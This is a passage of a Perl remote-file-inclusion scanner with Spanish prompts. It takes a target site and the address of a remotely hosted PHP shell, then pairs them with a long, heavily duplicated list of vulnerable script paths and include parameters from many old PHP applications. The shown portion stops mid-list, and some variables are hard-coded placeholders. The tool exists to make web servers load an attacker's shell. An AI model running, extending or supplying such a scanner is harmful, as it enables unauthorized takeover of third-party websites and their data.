+-++-++-+ +-++-++-++-++-++-++-+

);
print "\n";

chop($web1);

print "\n\tInserta la direccion de la shell en txt\n\t";

$shell1="la shell en txt";

if ($web1 !~ /http/)
{
$web="http://".$web1."/";
} else { $web=$web1."/";}

if ($shell1 !~ /http/)
{
$shell="http://".$shell1."?";
} else { $shell=$shell1."?";}
chop $web;
chop $shell;
print "\tEscaneando ".$web."\n\n";
print "\tCon shell ".$shell."\n\n";
print " * > Desea ver el Proseso?\tSi/No\n\t";
$proseso="si";
print "\tScanner en Proseso...\n\n";
chop($proseso);
print "\t$web=\n\t$shell";
if ($proseso =~ /n|N/)
{ print "\n\n\t Analizando Web...."; }

print("\n\n\n\t * Analizando la Web.... \n\n ".$web,"=\n\n");

#si lleva la web un signo de path como page.php?"="
if ($web =~ /\?/) {
$web=$web."=";
@paths=$shell;

}
else {
@paths=(
'includes/header.php?systempath=','Gallery/displayCategory.php?basepath=',
'index.inc.php?PATH_Includes=','nphp/nphpd.php?nphp_config[LangFile]=',
'include/db.php?GLOBALS[rootdp]=','ashnews.php?pathtoashnews=',
'ashheadlines.php?pathtoashnews=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
'demo/includes/init.php?user_inc=','jaf/index.php?show=',
'inc/shows.inc.php?cutepath=','poll/admin/common.inc.php?base_path=',
'pollvote/pollvote.php?pollname=','sources/post.php?fil_config=',
'modules/My_eGallery/public/displayCategory.php?basepath=','bb_lib/checkdb.inc.php?libpach=',
'include/livre_include.php?no_connectlol&chem_absolu=',
'index.php?from_marketY&pageurl=','modules/mod_mainmenu.php?mosConfig_absolute_path=',
'pivot/modules/module_db.php?pivot_path=','modules/nAlbum/public/displayCategory.php?basepath=',
'derniers_commentaires.php?rep=','modules/coppermine/themes/default/theme.php?THEME_DIR=',
'modules/coppermine/include/init.inc.php?CPG_M_DIR=','modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
'coppermine/themes/maze/theme.php?THEME_DIR=','allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=',
'allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=',
'myPHPCalendar/admin.php?cal_dir=','agendax/addevent.inc.php?agendax_path=',
'modules/mod_mainmenu.php?mosConfig_absolute_path=','modules/PNphpBB/includes/functions_admin.php?phpbb_root_path=',
'main.php?page=','default.php?page=','index.php?action=','index.php?p=',
'index.php?x=','index.php?content=','index.php?conteudo=',
'index.php?cat=','include/new-visitor.inc.php?lvc_include_dir=',
'modules/agendax/addevent.inc.php?agendax_path=',
'shoutbox/expanded.php?conf=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
'pivot/modules/module_db.php?pivot_path=','library/editor/editor.php?root=',
'library/lib.php?root=','e/e_handlers/secure_img_render.php?p=',
'zentrack/index.php?configFile=','main.php?x=',
'becommunity/community/index.php?pageurl=','GradeMap/index.php?page=',
'phpopenchat/contrib/yabbse/poc.php?sourcedir=',
'calendar/calendar.php?serverPath=','calendar/functions/popup.php?serverPath=',
'calendar/events/header.inc.php?serverPath=',
'calendar/events/datePicker.php?serverPath=',
'calendar/setup/setupSQL.php?serverPath=','calendar/setup/header.inc.php?serverPath=',
'mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=','zentrack/index.php?configFile=',
'pivot/modules/module_db.php?pivot_path=',
'inc/header.php/step_one.php?server_inc=',
'install/index.php?lng../../include/main.inc&G_PATH=','inc/pipe.php?HCL_path=','include/write.php?dir=',
'include/new-visitor.inc.php?lvc_include_dir=',
'includes/header.php?systempath=',
'support/mailling/maillist/inc/initdb.php?absolute_path=','coppercop/theme.php?THEME_DIR=',
'zentrack/index.php?configFile=','pivot/modules/module_db.php?pivot_path=','inc/header.php/step_one.php?server_inc=',
'install/index.php?lng../../include/main.inc&G_PATH=','inc/pipe.php?HCL_path=','include/write.php?dir=',
'include/new-visitor.inc.php?lvc_include_dir=',
'includes/header.php?systempath=','support/mailling/maillist/inc/initdb.php?absolute_path=',
'coppercop/theme.php?THEME_DIR=','becommunity/community/index.php?pageurl=','shoutbox/expanded.php?conf=',
'agendax/addevent.inc.php?agendax_path=','myPHPCalendar/admin.php?cal_dir=',
'yabbse/Sources/Packages.php?sourcedir=',
'dotproject/modules/projects/addedit.php?root_dir=','dotproject/modules/projects/view.php?root_dir=',
'dotproject/modules/projects/vw_files.php?root_dir=',
'dotproject/modules/tasks/addedit.php?root_dir=',
'dotproject/modules/tasks/viewgantt.php?root_dir=','My_eGallery/public/displayCategory.php?basepath=',
'modules/My_eGallery/public/displayCategory.php?basepath=',
'modules/nAlbum/public/displayCategory.php?basepath=',
'modules/coppermine/themes/default/theme.php?THEME_DIR=','modules/agendax/addevent.inc.php?agendax_path=',
'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
'modules/coppermine/include/init.inc.php?CPG_M_DIR=','modules/mod_mainmenu.php?mosConfig_absolute_path=',
'shoutbox/expanded.php?conf=','pivot/modules/module_db.php?pivot_path=',
'library/editor/editor.php?root=',
'library/lib.php?root=','e/e_handlers/secure_img_render.php?p=','main.php?x=','main.php?page=',
'index.php?meio.php=','index.php?include=','index.php?inc=','index.php?page=','index.php?pag=',
'index.php?p=','index.php?x=','index.php?open=','index.php?visualizar=',
'index.php?pagina=','index.php?content=','inc/step_one_tables.php?server_inc=',
'GradeMap/index.php?page=','phpshop/index.php?base_dir=','admin.php?cal_dir=',
'contacts.php?cal_dir=','convert-date.php?cal_dir=','album_portal.php?phpbb_root_path=',
'mainfile.php?MAIN_PATH=','dotproject/modules/files/index_table.php?root_dir=','html/affich.php?base=',
'gallery/init.php?HTTP_POST_VARS=','pm/lib.inc.php?pm_path=','ideabox/include.php?gorumDir=',
'index.php?includes_dir=','forums/toplist.php?phpbb_root_path=','forum/toplist.php?phpbb_root_path=',
'admin/config_settings.tpl.php?include_path=','include/common.php?include_path=','event/index.php?page=',
'forum/index.php?includeFooter=','forums/index.php?includeFooter=','forum/bb_admin.php?includeFooter=',
'forums/bb_admin.php?includeFooter=','language/lang_english/lang_activity.php?phpbb_root_path=',
'forum/language/lang_english/lang_activity.php?phpbb_root_path=','blend_data/blend_common.php?phpbb_root_path=',
'master.php?root_path=','includes/kb_constants.php?module_root_path=',
'forum/includes/kb_constants.php?module_root_path=',
'forums/includes/kb_constants.php?module_root_path=','classes/adodbt/sql.php?classes_dir=',
'agenda.php?rootagenda=','agenda.php?rootagenda=','sources/lostpw.php?CONFIG[path]=',
'topsites/sources/lostpw.php?CONFIG[path]=','toplist/sources/lostpw.php?CONFIG[path]=',
'sources/join.php?CONFIG[path]=','topsites/sources/join.php?CONFIG[path]=',
'toplist/sources/join.php?CONFIG[path]=','topsite/sources/join.php?CONFIG[path]=',
'public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=','extras/poll/poll.php?file_newsportal=',
'index.php?site_path=','mail/index.php?site_path=','fclick/show.php?path=','show.php?path=',
'calogic/reconfig.php?GLOBALS[CLPath]=','eshow.php?Config_rootdir=','auction/auction_common.php?phpbb_root_path=',
'index.php?inc_dir=','calendar/index.php?inc_dir=','modules/TotalCalendar/index.php?inc_dir=',
'modules/calendar/index.php?inc_dir=','calendar/embed/day.php?path=','ACalendar/embed/day.php?path=',
'calendar/add_event.php?inc_dir=','claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=',
'claroline/auth/ldap/authldap.php?includePath=',
'docebo/modules/credits/help.php?lang=','modules/credits/help.php?lang=',
'config.php?returnpath=','editsite.php?returnpath=','in.php?returnpath=',
'addsite.php?returnpath=',
'includes/pafiledb_constants.php?module_root_path=',
'phpBB/includes/pafiledb_constants.php?module_root_path=',
'pafiledb/includes/pafiledb_constants.php?module_root_path=',
'auth/auth.php?phpbb_root_path=','auth/auth_phpbb/phpbb_root_path=',
'apc-aa/cron.php?GLOBALS[AA_INC_PATH]=','apc-aa/cached.php?GLOBALS[AA_INC_PATH]=',
'infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=',
'phpdig/includes/config.php?relative_script_path=',
'includes/phpdig/includes/config.php?relative_script_path=',
'includes/dbal.php?eqdkp_root_path=',
'eqdkp/includes/dbal.php?eqdkp_root_path=',
'dkp/includes/dbal.php?eqdkp_root_path=',
'include/SQuery/gameSpy.php?libpath=',
'include/global.php?GLOBALS[includeBit]=',
'topsites/config.php?returnpath=',
'manager/frontinc/prepend.php?_PX_config[manager_path]=',
'ubbthreads/addpost_newpoll.php?addpollthispath=',
'forum/addpost_newpoll.php?thispath=','forums/addpost_newpoll.php?thispath=',
'ubbthreads/ubbt.inc.php?thispath=',
'forums/ubbt.inc.php?thispath=','forum/ubbt.inc.php?thispath=',
'forum/admin/addentry.php?phpbb_root_path=',
'admin/addentry.php?phpbb_root_path=','index.php?f=','index.php?act=','ipchat.php?root_path=',
'includes/orderSuccess.inc.php?glob[rootDir]=','stats.php?dir[func]dir[base]=',
'ladder/stats.php?dir[base]=',
'ladders/stats.php?dir[base]=','sphider/admin/configset.php?settings_dir=',
'admin/configset.php?settings_dir=',
'vwar/admin/admin.php?vwar_root=','modules/vwar/admin/admin.php?vwar_root=',
'modules/vWar_Account/includes/get_header.php?vwar_root=',
'modules/vWar_Account/includes/functions_common.php?vwar_root=',
'sphider/admin/configset.php?settings_dir=',
'admin/configset.php?settings_dir=','impex/ImpExData.php?systempath=',
'forum/impex/ImpExData.php?systempath=',
'forums/impex/ImpExData.php?systempath=','application.php?base_path=',
'index.php?theme_path=',
'become_editor.php?theme_path=','add.php?theme_path=',
'bad_link.php?theme_path=','browse.php?theme_path=',
'detail.php?theme_path=','fav.php?theme_path=','get_rated.php?theme_path=',
'login.php?theme_path=','mailing_list.php?theme_path=',
'new.php?theme_path=','modify.php?theme_path=',
'pick.php?theme_path=','power_search.php?theme_path=','rating.php?theme_path=','register.php?theme_path=',
'review.php?theme_path=','rss.php?theme_path=','search.php?theme_path=','send_pwd.php?theme_path=',
'sendmail.php?theme_path=','tell_friend.php?theme_path=','top_rated.php?theme_path=',
'user_detail.php?theme_path=','user_search.php?theme_path=','invoice.php?base_path=',
'cgi-bin//classes/adodbt/sql.php?classes_dir=',
'cgi-bin/install/index.php?G_PATH=','cgi-bin/include/print_category.php?dir=',
'includes/class_template.php?quezza_root_path=',
'bazar/classified_right.php?language_dir=','classified_right.php?language_dir=',
'phpBazar/classified_right.php?language_dir=',
'chat/messagesL.php?cmd=','phpMyChat/chat/messagesL.php?cmd=','bbs/include/write.php?dir=',
'visitorupload.php?cmd=','modules/center/admin/accounts/process.php?module_path]=','index.php?template=',
'armygame.php?libpath=','lire.php?rub=','pathofhostadmin/?page=','apa_phpinclude.inc.php?apa_module_basedir=',
'index.php?req_path=','research/boards/encapsbb-.._fixed/index_header.php?root=','Farsi/index.php?archive=',
'index.php?archive=','show_archives.php?template=','forum/include/common.php?pun_root=',
'pmwiki wiki/pmwiki-..beta/pmwiki.php?GLOBALS[FarmD]=','vuln.php?=','cgi-bin//include/write.php?dir=',
'admin/common.inc.php?basepath=','pm/lib.inc.php?sfx=','pm/lib.inc.php?pm_path=','artmedic-kleinanzeigen-path/index.php?id=',
'osticket/include/main.php?include_dir=','include/main.php?config[search_disp]include_dir=',
'phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=','quick_reply.php?phpbb_root_path=',
'zboard/include/write.php?dir=','admin/plog-admin-functions.php?configbasedir=',
'content.php?content=','q-news.php?id=','_conf/core/common-tpl-vars.php?confdir=','votebox.php?VoteBoxPath=',
'al_initialize.php?alpath=','include/db.php?GLOBALS[rootdp]=','modules/news/archivednews.php?GLOBALS[language_home]=',
'protection.php?siteurl=','modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=',
'index.php?includes_dir=','classes.php?LOCAL_PATH=','extensions/moblog/moblog_lib.php?basedir=',
'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=','phpWebLog/include/init.inc.php?G_PATH=',
'admin/objects.inc.php?Server=','trg_news/trgnews/install/article.php?dir=','block.php?Include=',
'arpuivo.php?data=','setup/index.php?GALLERY_BASEDIR=','include/help.php?base=',
'index.php?[Home]=','block.php?Include=','examples/phonebook.php?page=','PHPNews/auth.php?path=',
'include/print_category.php?dir=','skin/zero_vote/login.php?dir=','skin/zero_vote/setup.php?dir=',
'skin/zero_vote/ask_password.php?dir=','gui/include/sql.php?include_path=',
'webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=',
'email.php?logincer_skin=','PhotoGal/ops/gals.php?news_file=','index.php?custom=',
'loginout.php?cutepath=','oneadmin/config.php?path[docroot]=',
'xcomic/initialize.php?xcomicRootPath=',
'skin/zero_vote/setup.php?dir=','skin/zero_vote/error.php? dir=',
'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
'src/index_overview.inc.php?config[path_src_include]=',
'src/index_leftnavbar.inc.php?config[path_src_include]=',
'src/index_image.inc.php?config[path_src_include]=',
'src/image-gd.class.php?config[path_src_include]=','src/image.class.php?config[path_src_include]=',
'src/album.class.php?config[path_src_include]=',
'src/show_random.inc.php?config[path_src_include]=','src/main.inc.php?config[path_src_include]='
,'src/index_passwd-admin.inc.php?config[path_admin_include]=',
'yappa-ng/src/index_overview.inc.php?config[path_src_include]=',
'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
'src/index_overview.inc.php?config[path_src_include]=',
'src/image-gd.class.php?config[path_src_include]=',
'src/image.class.php?config[image_module]=','src/album.class.php?config[path_src_include]=',
'src/show_random.inc.php?config[path_src_include]=',
'src/main.inc.php?config[path_src_include]=','includes/db_adodb.php?baseDir=',
'includes/db_connect.php?baseDir=','includes/session.php?baseDir=',
'modules/projects/gantt.php?dPconfig[root_dir]=',
'modules/projects/gantt.php?dPconfig[root_dir]=','modules/projects/vw_files.php?dPconfig[root_dir]=',
'modules/admin/vw_usr_roles.php?baseDir=','modules/public/calendar.php?baseDir=',
'modules/public/date_format.php?baseDir=',
'modules/tasks/gantt.php?baseDir=','mantis/login_page.php?g_meta_include_file=',
'phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=',
'modules/My_eGallery/public/displayCategory.php?basepath=','dotproject/modules/files/index_table.php?root_dir=',
'nukebrowser.php?filnavn=','bug_sponsorship_list_view_inc.php?t_core_path=',
'modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
'modules/coppermine/themes/maze/theme.php?THEME_DIR=','modules/coppermine/include/init.inc.php?CPG_M_DIR=',
'includes/calendar.php?phpc_root_path=','includes/setup.php?phpc_root_path=','phpBB/admin/admin_styles.php?mode=',
'aMember/plugins/db/mysql/mysql.inc.php?config=','admin/lang.php?CMS_ADMIN_PAGE=',
'inc/pipe.php?HCL_path=',
'include/write.php?dir=','becommunity/community/index.php?pageurl=',
'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
'modules/mod_mainmenu.php?mosConfig_absolute_path=',
'modules/agendax/addevent.inc.php?agendax_path=','shoutbox/expanded.php?conf=',
'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=','index.php?page=',
'index.php?pag=','index.php?include=','index.php?content=',
'index.php?cont=','index.php?c=','modules/My_eGallery/index.php?basepath=',
'modules/newbb_plus/class/forumpollrenderer.php?bbPath=',
'journal.php?m=','index.php?m=','links.php?c=','forums.php?m=','list.php?c=',
'user.php?xoops_redirect=','index.php?id=',
'r.php?url=','CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=',
'inc/formmail.inc.php?script_root=','include/init.inc.php?G_PATH=',
'backend/addons/links/index.php?PATH=',
'modules/newbb_plus/class/class.forumposts.php?bbPath[path]=',
'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=',
'protection.php?siteurl=','htmltonuke.php?filnavn=','mail_autocheck.php?pm_path=',
'index.php?p=','modules/nAlbum/public/displayCategory.php?basepath=',
'e/e_handlers/secure_img_render.php?p=','include/new-visitor.inc.php?lvc_include_dir=',
'community/modules/agendax/addevent.inc.php?agendax_path=',
'library/editor/editor.php?root=','library/lib.php?root=','zentrack/index.php?configFile=',
'pivot/modules/module_db.php?pivot_path=',
'myPHPCalendar/admin.php?cal_dir=','index.php/main.php?x=','os/pointer.php?url=',
'p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=',
'db.php?path_local=','phpGedView/individual.php?PGV_BASE_DIRECTORY=','index.php?kietu[url_hit]=',
'phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=',
'Sources/Packages.php?sourcedir=','modules/PNphpBB/includes/functions_admin.php?phpbb_root_path=',
'cgi-bin//gadgets/Blog/BlogModel.php?path=',
'modules/my_egallery/?root_path=','adminpanel/includes/add_forms/addbioform.php?root_path=',
'adminpanel/includes/add_forms/addfliersform.php?root_path=',
'adminpanel/includes/add_forms/addgenmerchform.php?root_path=',
'adminpanel/includes/add_forms/addinterviewsform.php?root_path=',
'adminpanel/includes/add_forms/addlinksform.php?root_path=',
'adminpanel/includes/add_forms/addlyricsform.php?root_path=',
'adminpanel/includes/add_forms/addmembioform.php?root_path=',
'adminpanel/includes/add_forms/addmerchform.php?root_path=',
'adminpanel/includes/add_forms/addmerchpicform.php?root_path=',
'adminpanel/includes/add_forms/addnewsform.php?root_path=',
'adminpanel/includes/add_forms/addphotosform.php?root_path=',
'adminpanel/includes/add_forms/addreleaseform.php?root_path=',
'adminpanel/includes/add_forms/addreleasepicform.php?root_path=',
'adminpanel/includes/add_forms/addrelmerchform.php?root_path=',
'adminpanel/includes/add_forms/addshowsform.php?root_path=',
'adminpanel/includes/add_forms/addreviewsform.php?root_path=',
'adminpanel/includes/add_forms/addwearmerchform.php?root_path=',
'adminpanel/includes/mailinglist/disphtmltbl.php?root_path=',
'adminpanel/includes/mailinglist/dispxls.php?root_path=',
'preload.php?configowned&func_prog=','index.php?configowned&func_prog=',
'missing.php?header_prog=','_inc/footer.php?theme_root=',
'_inc/header.php?theme_root=','_inc/pfooter.php?theme_root=',
'_inc/pheader.php?theme_root=','_inc/web_statsConfig.php?mod_dir=',
'_inc/web_statsConfig.php?php_ext=','_mods/email.php?header_prog=',
'_mods/files.php?header_prog=','_mods/headlines.php?header_prog=',
'_mods/search.php?header_prog=','_mods/topics.php?header_prog=',
'admanagerpro/common.php?ipath=','templates/deluxe/postreply.php?templatefolder=',
'templates/deluxe/posting.php?templatefolder=',
'templates/deluxe/pm/newpm.php?templatefolder=',
'templates/default/postreply.php?templatefolder=',
'templates/default/posting.php?templatefolder=',
'templates/default/pm/newpm.php?templatefolder=',
'modules/Forums/admin/index.php?phpbb_root_path=',
'modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=',
'modules/Forums/admin/admin_board.php?phpbb_root_path=',
'modules/Forums/admin/admin_disallow.php?phpbb_root_path=',
'modules/Forums/admin/admin_forumauth.php?phpbb_root_path=',
'modules/Forums/admin/admin_groups.php?phpbb_root_path=',
'modules/Forums/admin/admin_ranks.php?phpbb_root_path=',
'modules/Forums/admin/admin_styles.php?phpbb_root_path=',
'modules/Forums/admin/admin_user_ban.php?phpbb_root_path=',
'modules/Forums/admin/admin_words.php?phpbb_root_path=',
'modules/Forums/admin/admin_avatar.php?phpbb_root_path=',
'modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=',
'modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=',
'modules/Forums/admin/admin_forums.php?phpbb_root_path=',
'modules/Forums/admin/admin_mass_email.php?phpbb_root_path=',
'modules/Forums/admin/admin_smilies.php?phpbb_root_path=',
'modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=',
'modules/Forums/admin/admin_users.php?phpbb_root_path=',
'faq.php?foing_root_path=','index.php?foing_root_path=',
'list.php?foing_root_path=','login.php?foing_root_path=',
'playlist.php?foing_root_path=','song.php?foing_root_path=',
'gen_mu.php?foing_root_path=','view_artist.php?foing_root_path=',
'view_song.php?foing_root_path=','login.php?foing_root_path=',
'playlist.php?foing_root_path=',
'song.php?foing_root_path=','flash/set_na.php?foing_root_path=',
'flash/initialise.php?foing_root_path=',
'flash/get_song.php?foing_root_path=','includes/common.php?foing_root_path=',
'admin/nav.php?foing_root_path=',
'admin/main.php?foing_root_path=','admin/list_artists.php?foing_root_path=',
'admin/index.php?foing_root_path=',
'admin/genres.php?foing_root_path=','admin/edit_artist.php?foing_root_path=','admin/edit_album.php?foing_root_path=','admin/config.php?foing_root_path=',
'admin/admin_status.php?foing_root_path=','includes/header.php?systempath=','Gallery/displayCategory.php?basepath=',
'index.inc.php?PATH_Includes=','nphp/nphpd.php?nphp_config[LangFile]=','include/db.php?GLOBALS[rootdp]=',
'ashnews.php?pathtoashnews=','ashheadlines.php?pathtoashnews=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
'demo/includes/init.php?user_inc=','jaf/index.php?show=','inc/shows.inc.php?cutepath=','poll/admin/common.inc.php?base_path=',
'pollvote/pollvote.php?pollname=','sources/post.php?fil_config=','modules/My_eGallery/public/displayCategory.php?basepath=',
'bb_lib/checkdb.inc.php?libpach=','include/livre_include.php?no_connect=lol&chem_absolu=','index.php?from_market=Y&pageurl=',
'modules/mod_mainmenu.php?mosConfig_absolute_path=',
'pivot/modules/module_db.php?pivot_path=',
'modules/4nAlbum/public/displayCategory.php?basepath=',
'derniers_commentaires.php?rep=',
'modules/coppermine/themes/default/theme.php?THEME_DIR=',
'modules/coppermine/include/init.inc.php?CPG_M_DIR=',
'modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
'coppermine/themes/maze/theme.php?THEME_DIR=',
'allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=','allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=',
'myPHPCalendar/admin.php?cal_dir=','agendax/addevent.inc.php?agendax_path=','modules/mod_mainmenu.php?mosConfig_absolute_path=',
'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=','main.php?page=','default.php?page=','index.php?action=',
'index1.php?p=','index2.php?x=','index2.php?content=','index.php?conteudo=','index.php?cat=',
'include/new-visitor.inc.php?lvc_include_dir=','modules/agendax/addevent.inc.php?agendax_path=',
'shoutbox/expanded.php?conf=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=','pivot/modules/module_db.php?pivot_path=',
'library/editor/editor.php?root=','library/lib.php?root=','e107/e107_handlers/secure_img_render.php?p=',
'zentrack/index.php?configFile=','main.php?x=','becommunity/community/index.php?pageurl=',
'GradeMap/index.php?page=','mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=','zentrack/index.php?configFile=',
'pivot/modules/module_db.php?pivot_path=','inc/header.php/step_one.php?server_inc=','inc/pipe.php?HCL_path=',
'include/write.php?dir=','include/new-visitor.inc.php?lvc_include_dir=','includes/header.php?systempath=',
'support/mailling/maillist/inc/initdb.php?absolute_path=','coppercop/theme.php?THEME_DIR=',
'zentrack/index.php?configFile=','pivot/modules/module_db.php?pivot_path=','inc/header.php/step_one.php?server_inc=',
'inc/pipe.php?HCL_path=','include/write.php?dir=','include/new-visitor.inc.php?lvc_include_dir=',
'includes/header.php?systempath=','support/mailling/maillist/inc/initdb.php?absolute_path=',
'coppercop/theme.php?THEME_DIR=','becommunity/community/index.php?pageurl=','shoutbox/expanded.php?conf=',
'agendax/addevent.inc.php?agendax_path=','myPHPCalendar/admin.php?cal_dir=','yabbse/Sources/Packages.php?sourcedir=',
'path_of_cpcommerce/_functions.php?prefix=','dotproject/modules/projects/addedit.php?root_dir=',
'dotproject/modules/projects/view.php?root_dir=','dotproject/modules/projects/vw_files.php?root_dir=',
'dotproject/modules/tasks/addedit.php?root_dir=','dotproject/modules/tasks/viewgantt.php?root_dir=',
'My_eGallery/public/displayCategory.php?basepath=','modules/My_eGallery/public/displayCategory.php?basepath=',
'modules/4nAlbum/public/displayCategory.php?basepath=','modules/coppermine/themes/default/theme.php?THEME_DIR=',
'modules/agendax/addevent.inc.php?agendax_path=','modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=','modules/coppermine/include/init.inc.php?CPG_M_DIR=',
'modules/mod_mainmenu.php?mosConfig_absolute_path=',
'shoutbox/expanded.php?conf=','pivot/modules/module_db.php?pivot_path=',
'library/editor/editor.php?root=','library/lib.php?root=','e107/e107_handlers/secure_img_render.php?p=',
'main.php?x=','main.php?page=','default.php?page=','index.php?meio.php=',
'index.php?include= ','index.php?inc= ','index.php?page= ','index.php?pag= ',
'index.php?p=','index.php?x=','index.php?open= ','index.php?open=','index.php?visualizar=',
'index.php?pagina=','index.php?content=','index.php?cont=','index.php?c=',
'index.php?meio=','index.php?x=','index.php?cat=','index.php?site=','index.php?configFile=',
'index.php?action=','index.php?do=','index2.php?x=','index2.php?content=','template.php?pagina=',
'inc/step_one_tables.php?server_inc=','GradeMap/index.php?page=','phpshop/index.php?base_dir=',
'admin.php?cal_dir=','path_of_cpcommerce/_functions.php?prefix=','contacts.php?cal_dir=',
'convert-date.php?cal_dir=','album_portal.php?phpbb_root_path=','mainfile.php?MAIN_PATH=',
'dotproject/modules/files/index_table.php?root_dir=','html/affich.php?base=',
'gallery/init.php?HTTP_POST_VARS=','pm/lib.inc.php?pm_path=','ideabox/include.php?gorumDir=',
'index2.php?includes_dir=','forums/toplist.php?phpbb_root_path=','forum/toplist.php?phpbb_root_path=',
'admin/config_settings.tpl.php?include_path=','include/common.php?include_path=',
'event/index.php?page=','forum/index.php?includeFooter=','forums/index.php?includeFooter=',
'forum/bb_admin.php?includeFooter=','forums/bb_admin.php?includeFooter=',
'language/lang_english/lang_activity.php?phpbb_root_path=',
'forum/language/lang_english/lang_activity.php?phpbb_root_path=',
'blend_data/blend_common.php?phpbb_root_path=','master.php?root_path=',
'includes/kb_constants.php?module_root_path=','forum/includes/kb_constants.php?module_root_path=',
'forums/includes/kb_constants.php?module_root_path=','classes/adodbt/sql.php?classes_dir=',
'agenda.php3?rootagenda=','agenda2.php3?rootagenda=','sources/lostpw.php?CONFIG[path]=',
'topsites/sources/lostpw.php?CONFIG[path]=','toplist/sources/lostpw.php?CONFIG[path]=',
'sources/join.php?CONFIG[path]=','topsites/sources/join.php?CONFIG[path]=','toplist/sources/join.php?CONFIG[path]=',
'topsite/sources/join.php?CONFIG[path]=','public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=',
'extras/poll/poll.php?file_newsportal=','index.php?site_path=','mail/index.php?site_path=','fclick/show.php?path=',
'show.php?path=','calogic/reconfig.php?GLOBALS[CLPath]=','eshow.php?Config_rootdir=',
'auction/auction_common.php?phpbb_root_path=','index.php?inc_dir=','calendar/index.php?inc_dir=',
'modules/TotalCalendar/index.php?inc_dir=','modules/calendar/index.php?inc_dir=','calendar/embed/day.php?path=',
'ACalendar/embed/day.php?path=','calendar/add_event.php?inc_dir=',
'claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=',
'claroline/auth/ldap/authldap.php?includePath=','docebo/modules/credits/help.php?lang=',
'modules/credits/help.php?lang=','config.php?returnpath=','editsite.php?returnpath=','in.php?returnpath=',
'addsite.php?returnpath=','includes/pafiledb_constants.php?module_root_path='
,'phpBB/includes/pafiledb_constants.php?module_root_path=',
'pafiledb/includes/pafiledb_constants.php?module_root_path=','auth/auth.php?phpbb_root_path=',
'auth/auth_phpbb/phpbb_root_path=','apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=',
'apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=',
'infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=',
'phpdig/includes/config.php?relative_script_path=','includes/phpdig/includes/config.php?relative_script_path=',
'includes/dbal.php?eqdkp_root_path=','eqdkp/includes/dbal.php?eqdkp_root_path=',
'dkp/includes/dbal.php?eqdkp_root_path=',
'path/include/SQuery/gameSpy2.php?libpath=','include/global.php?GLOBALS[includeBit]=','topsites/config.php?returnpath=',
'manager/frontinc/prepend.php?_PX_config[manager_path]=','ubbthreads/addpost_newpoll.php?addpoll=thispath=',
'forum/addpost_newpoll.php?thispath=','forums/addpost_newpoll.php?thispath=','ubbthreads/ubbt.inc.php?thispath=',
'forums/ubbt.inc.php?thispath=','forum/ubbt.inc.php?thispath=','forum/admin/addentry.php?phpbb_root_path=',
'admin/addentry.php?phpbb_root_path=','index.php?f=','index.php?act=','ipchat.php?root_path=',
'includes/orderSuccess.inc.php?glob[rootDir]=','stats.php?dir[func]=dir[base]=','ladder/stats.php?dir[base]=',
'ladders/stats.php?dir[base]=','sphider/admin/configset.php?settings_dir=','admin/configset.php?settings_dir=',
'vwar/admin/admin.php?vwar_root=','modules/vwar/admin/admin.php?vwar_root=',
'modules/vWar_Account/includes/get_header.php?vwar_root=',
'modules/vWar_Account/includes/functions_common.php?vwar_root2=','sphider/admin/configset.php?settings_dir=',
'admin/configset.php?settings_dir=','impex/ImpExData.php?systempath=','forum/impex/ImpExData.php?systempath=',
'forums/impex/ImpExData.php?systempath=','application.php?base_path=','index.php?theme_path=',
'become_editor.php?theme_path=','add.php?theme_path=','bad_link.php?theme_path=','browse.php?theme_path=',
